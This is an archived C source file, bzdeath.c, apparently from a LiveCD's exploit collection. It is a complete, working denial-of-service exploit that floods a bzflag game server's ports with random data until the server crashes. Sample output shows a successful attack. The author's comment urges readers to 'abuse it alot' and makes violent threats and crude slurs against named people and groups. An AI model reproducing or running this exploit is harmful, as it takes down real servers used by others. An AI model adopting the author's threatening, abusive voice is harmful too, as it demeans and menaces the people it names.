home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / bzflag / bzdeath.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  6.5 KB  |  260 lines
  1. /* bzdeath.c by the russian code molester
  2.  
  3.    bzflag [bzflag.org] is a multiplayer 3D tank battle game, a bugfest
  4.    and a cheaters heaven. bzflag listens on at least two tcp ports, one
  5.    port feeding us the bzfs [bzflag server] version and reconnect port,
  6.    and the other one where the real fun begins. force feeding these ports
  7.    with some magic fairy powder can make bzfs go insane and eat itself.
  8.  
  9.    .. oi oi, what be this magik?! ..
  10.  
  11.    first, we connect to the target bzflag server and read the reconnect
  12.    port data, 9th and 10th byte of handshake. then we reconnect to this
  13.    port and flood it with random garbage, causing a cpu/mem leak in bzfs,
  14.    making the cpu usage skyrocket. then, if that does not make the server
  15.    go down, we reconnect back to the initial port and flood that too,
  16.    causing havoc and total mayhem (segfault) to our little bzfs friend.
  17.  
  18.    this seems to work best on *fast* connections, LAN etc. however it has
  19.    been tested quite sucessfully on slower connections as well (but don't
  20.    get get your hopes up) - and note, even if the server does not die,
  21.    the cpu/mem leak might still be triggered, munching away at all those
  22.    precious cpu cycles.
  23.  
  24.    bzdeath.c compiles successfully under fbsd and linux.
  25.  
  26.    .. vulnerable versions ..
  27.  
  28.    this has only been tested on the newest stable release, 1.7g0, but I
  29.    suspect that it will work just as good on the older ones as well.
  30.  
  31.    .. real life example ..
  32.  
  33.    ~$ gcc bzdeath.c -o bzdeath -O2 -Wall && ./bzdeath 10.0.2.36 5155
  34.      -- connecting to 10.0.2.36:5155 ..
  35.      -- connection established!
  36.      -- recv(): 42 5a 46 53 31 30 37 65 14 24
  37.      -- bzfs signature confirmed
  38.      -- reconnect port is 5156
  39.      -- connecting to 10.0.2.36:5156 ..
  40.      -- connection established, attacking!
  41.      -- 303 packets / 155136 bytes sent
  42.      -- send() timeout
  43.      -- reconnecting to 10.0.2.36:5155 ..
  44.      -- attacking!
  45.      -- 303 packets / 155136 bytes sent
  46.      -- send() failed, reconnecting ..
  47.      -- unable to connect, DoS successful?
  48.  
  49.    and on 10.0.2.36 gdb tells us,
  50.  
  51.    "Program received signal SIGSEGV, Segmentation fault.
  52.     0x0805838b in alarm ()"
  53.  
  54.    .. final words form the dark side ..
  55.  
  56.    abuse it alot, and stay tuned for the upcoming stack smashing shell-
  57.    spawning chachacha exploit for bzflag, soon to be released.
  58.  
  59.    oh, and if you can't make this work, blame yo mama, and if you haven't
  60.    got one, blame someone else.
  61.  
  62.    and if those WHORES at neworder.box.sk put this file in their "latest
  63.    vulnerabilities" section I will hunt them down and rip them apart with
  64.    rusty nail clippers and chopsticks!
  65.  
  66.    and finally a big fuckyou-and-I-am-going-to-kill-all-of-you goes to
  67.    electronic souls for being code stealing cockeaters, and dvdman for
  68.    being born without both a brain and a penis.
  69.  
  70.    take care,
  71.    -- russian code molester
  72.  
  73. */
  74.  
  75. #include <stdio.h>
  76. #include <stdlib.h>
  77. #include <string.h>
  78. #include <unistd.h>
  79. #include <sys/types.h>
  80. #include <sys/socket.h>
  81. #include <netinet/in.h>
  82. #include <netdb.h>
  83. #include <time.h>
  84. #include <signal.h>
  85.  
  86. #define BUFSIZE 512
  87. #define TIMEOUT 10
  88.  
  89. int sockconnect(char*, int);
  90. int sockattack();
  91. void sigalrm_handler();
  92. void sigpipe_handler();
  93. void die(char*);
  94. void banner();
  95. void usage();
  96.  
  97. int sockfd;
  98. int recon_port;
  99. int orig_port;
  100. char host[128];
  101.  
  102. int main(int argc, char **argv) {
  103.   int i;
  104.   char buf[BUFSIZE];
  105.   char bzsign[8];
  106.  
  107.   if(argc < 3) usage();
  108.  
  109.   snprintf(host, sizeof host, "%s", argv[1]);
  110.   orig_port = atoi(argv[2]);
  111.  
  112.   banner();
  113.  
  114.   srand(time(0));
  115.   bzero(buf, sizeof buf);
  116.  
  117.   signal(SIGALRM, sigalrm_handler);
  118.   signal(SIGPIPE, sigpipe_handler);
  119.  
  120.   printf(" -- connecting to %s:%s ..\n", argv[1], argv[2]);
  121.  
  122.   if(sockconnect(host, orig_port) == -1)
  123.     die("unable to connect");
  124.  
  125.   printf(" -- connection established!\n");
  126.  
  127.   if(recv(sockfd, buf, 16, 0) <= 0)
  128.     die("recv() failed");
  129.  
  130.   printf(" -- recv(): ");
  131.  
  132.   for(i = 0; i < strlen(buf); i++)
  133.     printf("%02x ", buf[i]);
  134.  
  135.   printf("\n");
  136.  
  137.   sprintf(bzsign, "%c%c%c%c", buf[0], buf[1], buf[2], buf[3]);
  138.  
  139.   if(!strcmp(bzsign, "BZFS"))
  140.     printf(" -- bzfs signature confirmed\n");
  141.   else die("bzfs signature mismatch (NOT bzflag server)");
  142.  
  143.   if(strlen(buf) >= 10)
  144.     recon_port = (((int) buf[strlen(buf) - 2]) << 8) | buf[strlen(buf) -
  145. 1];
  146.   else die("server did not send reconnect port");
  147.  
  148.   if(recon_port >= 64 * 1024 || recon_port <= 0)
  149.     die("server sent illegal reconnect port");
  150.  
  151.   printf(" -- reconnect port is %d\n", recon_port);
  152.   printf(" -- connecting to %s:%d ..\n", host, recon_port);
  153.  
  154.   close(sockfd);
  155.  
  156.   if(sockconnect(host, recon_port) == -1)
  157.     die("unable to connect");
  158.  
  159.   printf(" -- connection established, attacking!\n");
  160.  
  161.   while(1) {
  162.     sockattack();
  163.     close(sockfd);
  164.  
  165.     sleep(1);
  166.  
  167.     if(sockconnect(argv[1], recon_port) == -1)
  168.       break;
  169.   }
  170.  
  171.   printf(" -- unable to connect, DoS successful?\n");
  172.  
  173.   return 0;
  174. }
  175.  
  176. int sockconnect(char *host, int port) {
  177.   struct hostent *he;
  178.   struct sockaddr_in remote_addr;
  179.  
  180.   if((he = gethostbyname(host)) == NULL)
  181.     return -1;
  182.  
  183.   remote_addr.sin_family = AF_INET;
  184.   remote_addr.sin_addr = *((struct in_addr *)he->h_addr);
  185.   remote_addr.sin_port = htons(port);
  186.   memset(&(remote_addr.sin_zero), 0x00, 8);
  187.  
  188.   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  189.     return -1;
  190.  
  191.   if(connect(sockfd, (struct sockaddr *)&remote_addr,
  192.                                        sizeof(struct sockaddr)) == -1)
  193.     return -1;
  194.  
  195.   return 0;
  196. }
  197.  
  198. int sockattack() {
  199.   char buf[BUFSIZE];
  200.   unsigned long attack_packets = 0;
  201.   int i;
  202.  
  203.   while(1) {
  204.     alarm(TIMEOUT);
  205.  
  206.     for(i = 0; i < sizeof buf; i++)
  207.       buf[i] = rand() % 256;
  208.  
  209.     attack_packets++;
  210.     printf("\r -- %ld packets / %ld bytes sent ", attack_packets,
  211.                                               attack_packets * sizeof
  212. buf);
  213.     fflush(stdout);
  214.  
  215.     if(send(sockfd, buf, sizeof buf, 0) != sizeof buf) {
  216.       printf("\n -- send() failed, reconnecting ..\n");
  217.       break;
  218.     }
  219.  
  220.   }
  221.  
  222.   return 0;
  223. }
  224.  
  225. void sigalrm_handler() {
  226.   printf("\n -- send() timeout\n");
  227.   close(sockfd);
  228.  
  229.   printf(" -- reconnecting to %s:%d ..\n", host, orig_port);
  230.  
  231.   if(sockconnect(host, orig_port) == -1)
  232.     die("unable to connect, DoS successful?");
  233.  
  234.   printf(" -- attacking!\n");
  235.   sockattack();
  236.  
  237.   return;
  238. }
  239.  
  240. void sigpipe_handler() {
  241.   printf("\n");
  242.   die("got SIGPIPE, target dead?");
  243.   return;
  244. }
  245.  
  246. void die(char *text) {
  247.   fprintf(stderr, " -- error: %s\n", text);
  248.   exit(1);
  249. }
  250.  
  251. void banner(void) {
  252.   printf("B Z D E A T H . c by russian code molester . . .\n");
  253.   return;
  254. }
  255.  
  256. void usage(void) {
  257.   fprintf(stderr, "usage: bzdeath <host> <port>\n");
  258.   exit(1);
  259. }
  260.